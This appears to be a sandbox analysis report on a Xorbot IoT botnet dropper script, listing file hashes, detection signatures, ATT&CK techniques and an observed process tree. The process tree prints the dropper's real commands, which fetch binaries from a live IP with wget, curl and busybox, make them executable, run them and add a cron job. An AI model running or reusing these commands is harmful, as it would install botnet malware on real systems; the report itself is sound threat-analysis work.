xorbot | aa653014d79dbe554affa5c6a3f3431aeb567bb2e834968539bd1a195a2b1c60

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
02/12/2024, 00:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

RKY1N_bins.sh
Size

10KB
MD5

3185a06c9e65901556ba39c015fcb435
SHA1

125fb6885ad57ad672d32176a30567375ad03770
SHA256

aa653014d79dbe554affa5c6a3f3431aeb567bb2e834968539bd1a195a2b1c60
SHA512

0c420af2a9aafa1d0b63b00fea070ec9e9d29ffa14fca78e8b5c5bf1ac6489562fc2f2326b1aefa934b0ba382114ab7f0adb81675aaec91f1c923c38c92d6e39
SSDEEP

192:ojPta6AP3hIMGIQ+QeQsQFQxQpZLbHMwjPta6YP3hIM5Q+QeQsQFQxQ5c:DP3hIMGIZlVEMkZLbHMJP3hIM5ZlVEMf

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2191) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1492	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R	1493	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R

Renames itself 1 IoCs

pid	Process
1494	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.d6HJ96	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1177/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1608/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1708/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/164/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/517/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/949/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1644/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1693/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/318/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/699/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1039/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1156/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1527/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1612/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1650/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1710/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/27/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/559/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1147/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1537/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1574/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1667/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1690/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/25/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/197/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1150/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1632/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/429/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1069/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1615/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1620/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1629/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1670/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1700/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1705/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1279/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1474/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1552/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1506/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1511/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1580/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1594/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/129/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/435/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1179/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/701/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1337/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1649/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1659/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/22/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/78/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/163/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/501/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1510/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1545/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1610/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1673/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/7/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/89/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/161/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1683/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1716/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1677/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
File opened for reading	/proc/1689/cmdline	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R	wget
File opened for modification	/tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R	curl
File opened for modification	/tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R	busybox

/tmp/RKY1N_bins.sh
/tmp/RKY1N_bins.sh
1⤵
PID:1474
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1475
- /usr/bin/wget
  wget http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  2⤵
  - Writes file to tmp directory
  PID:1476
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  2⤵
  - Writes file to tmp directory
  PID:1483
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  2⤵
  - Writes file to tmp directory
  PID:1491
- /bin/chmod
  chmod 777 EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  2⤵
  - File and Directory Permissions Modification
  PID:1492
- /tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  ./EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1493
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1495
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1496
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1497
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1498
- /bin/rm
  rm EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  2⤵
  PID:1500
- /usr/bin/wget
  wget http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
  2⤵
  PID:1503

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.d6HJ96

Filesize
210B

MD5
3d92a8e8aa5edf0ddb66baf93caca7f1

SHA1
83710af6e59697613b961ddaf3ff7373a24ba95b

SHA256
e6a01b06cb84ea2ac8ccee4eb6fdb167160ed4f7db82e23e8b7a42827e72acc9

SHA512
1b5d7cd6e1332dd43e2f7113461f46bd227dcb1918fc50d487f56f86862c98781a64819ddfd3614df006b2c3a2ec9ecaf745e27b524c3ae2c2da293e08301145

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads